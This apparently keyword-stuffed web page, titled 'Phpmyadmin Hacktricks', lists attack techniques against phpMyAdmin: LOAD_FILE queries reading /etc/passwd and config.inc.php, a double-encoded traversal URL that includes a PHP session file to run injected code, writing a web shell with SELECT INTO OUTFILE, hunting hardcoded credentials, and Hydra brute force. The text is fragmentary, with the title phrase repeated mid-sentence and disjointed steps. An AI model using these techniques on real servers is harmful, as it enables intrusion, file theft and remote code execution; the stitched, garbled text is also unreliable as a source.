Phpmyadmin Hacktricks [exclusive] Jun 2026

SELECT LOAD_FILE('/etc/passwd'); SELECT LOAD_FILE('/var/www/html/config.inc.php');

By manipulating the target parameter in the URL with directory traversal sequences (e.g., index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_[SESSION_ID] ), the attacker forces phpMyAdmin to include and execute the session file containing the malicious code. Writing a Web Shell (SELECT ... INTO OUTFILE) phpmyadmin hacktricks

Check for config.inc.php files containing hardcoded credentials. Brute force via tools like Hydra. : phpmyadmin hacktricks